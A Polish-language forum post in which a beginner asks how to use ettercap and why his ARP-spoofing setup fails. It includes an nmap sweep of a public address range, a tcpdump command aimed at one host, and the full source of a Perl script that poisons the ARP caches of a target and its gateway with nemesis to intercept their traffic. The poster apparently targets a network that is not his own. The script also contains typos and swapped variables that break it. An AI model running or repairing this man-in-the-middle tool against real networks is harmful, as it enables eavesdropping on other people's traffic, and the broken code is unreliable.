Witam. Mam 2 głupie pytania dt. sniffingu. Jeśli to nie ten dział, proszę o przeniesienie, jestem nowy na forum.
Mój system: Ubuntu 10.04
1. Jak mam sniffować programem ettercap? Nie mogę nigdzie znaleźć instrukcji jednoznacznej a nie ogarniam tego programu.
2. Próbowałem sniffingu na ARP ale jest problem. Przedstawię krok po kroku co robiłem.
a). wykonałem polecenie w konsoli:
Kod:
nmap -sP 178.56.216.*
b). wykonałem w konsoli polecenie:
Kod:
sudo tcpdump 'ip host 178.56.216.x'
(oczywiście x to numer, ale nie będę tu podawał numeru, który próbowałem sniffować.
c). uruchomiłem drugą konsolę i wpisałem w niej:
Kod:
cd /home/xxx/Pulpit
sudo ./arp.pl 178.56.216.1 178.56.216.x
i wywaliło mi:
Kod:
[+] Wysylam zadanie echa do 192.168.2.78.
[+] Wysylam zadanie echa do 192.168.2.11.
[+] Odczytuje adresy MAC z pamieci podrecznej ARP.
[!] Nie moglem odczytac adresu MAC dla 178.56.216.x. at ./arp.pl line 56.
A tu kod programu:
Kod:
#!/usr/bin/perl
$gateway = shift;
$target = shift;
$time = shift;
$device = shift;
$i = 1;
$SIG{INT} = \&quit;
#Sprawdz poprawnosc argumentow przed startem
if ($gateway!~/^([0-9]+\.[0-9]+\.[0-9]+\.[0-9]+)$/)
{
die("Uzycie: ./arp.pl IP_Bramy IP_celu Interwal Interfejs\n");
}
if ($target!~/^([0-9]+\.[0-9]+\.[0-9]+\.[0-9]+)$/)
{
die("Uzycie: ./arp.pl IP_Bramy IP_celu Interwal Interfejs\n");
}
if ($time=~/^$/)
{
$time = 10;
print("[-] Interwal nieznany, przyjmuje 10 sekund.\n");
}
if ($time!~/^[0-9]+$/)
{
die("Uzycie: ./arp.pl IP_Bramy IP_celu Interwal Interfejs\n");
}
if ($device=~/^$/)
{
$device = "wlan0";
print("[-] Interfejs nieznany, przyjmuje wlan0.\n");
}
#Odczytaj adrecy MAC bramy i celu
print("[+] Wysylam ?adanie echa do $gateway.\n");
system("ping -c 1 -w 1 $gateway 2>&1 > /dev/null");
print("[+] Wysylam ?adanie echa do $target.\n");
system("ping -c 1 -w 1 $target 2>&1 > /dev/null");
#Pakiety wyslano , mo?emy odczytac adresy MAC
print "[+] Oczytuje adresy MAC z pameici podrecznej ARP.\n";
$gateway_mac = qx[qrp -na $gateway];
$gateway_mac = substr($target_mac, index($gateway_mac, ":")-2, 17);
$target_mac = qx[qrp -na $gateway];
$target_mac = substr($target_mac, index($gateway_mac, ":")-2, 17);
#Sprawdz czy odczytane adresy MAC sa poprawne
if($gateway_mac!~/^([a-f0-9]{2}\:){5}[a-f0-9]{2}$/)
{
die("[!] Nie moglem odczytac adresu MAC dla $gateway.");
}
if($target_mac!~/^([A-F0-9]{2}\:){5}[A-F0-9]{2}$/)
{
die("[!] Nie moglem odczytac adresu MAC dla $gateway.");
}
#odczytaj wlasny adres IP oraz MAC
print "[+] Odczytuje wlasny adres IP oraz MAC, wykorzystuj?c ifconfig.\n";
@ifconf = split(" " , qx[ifconfig $device]);
$you = substr(@ifconf[6],5);
$you_mac = $ifconf[4];
print "{+} Interwal wysylanai pakietow to $time sekund.\n\n";
print "-> Ty: $you [$you_mac]\n";
print "-> Cel: $target [$target_mac]\n";
print "-> Brama: $gateway [$gateway_mac]\n";
#Wysylamy paikety ARP
while($i)
{
print "[+] Wysylam pakiet ARP: Powiedz $target, ze $gateway jest osiagalny pod $you_mac\n";
system("nemesis arp -r -d $device -S $gateway -D $target -h $you_mac -m $target_mac -H $you_mac -M $target_mac 2>&1 > /dev/null");
print "[+] Wysylam pakiet ARP: Powiedz $gateway, ze $target jest osiagalny pod $you_mac\n";
system("nemesis arp -r -d $device -S $target -D $gateway -h $you_mac -m $gateway_mac -H $you_mac -M $gateway_mac 2>&1 > /dev/null");
sleep $time;
}
#Wcisnieto ctrl+c przywracaamy orginalene ustawienia
sub quit
{
$i = 0;
print "[-] Koniec programu.Przywracanie orginalnych ustawien ARP.\n";
system("nemesis arp -r -d $device -S $gateway -D $target -h $gateway_mac -m $target_mac -H $gateway_mac -M $target_mac 2>&1 > /dev/null");
system("nemesis arp -r -d $device -S $target -D $gateway -h $target_mac -m $gateway_mac -H $target_mac -M $gateway_mac 2>&1 > /dev/null");
}
Mogę coś z tym zrobić? Proszę o pomoc.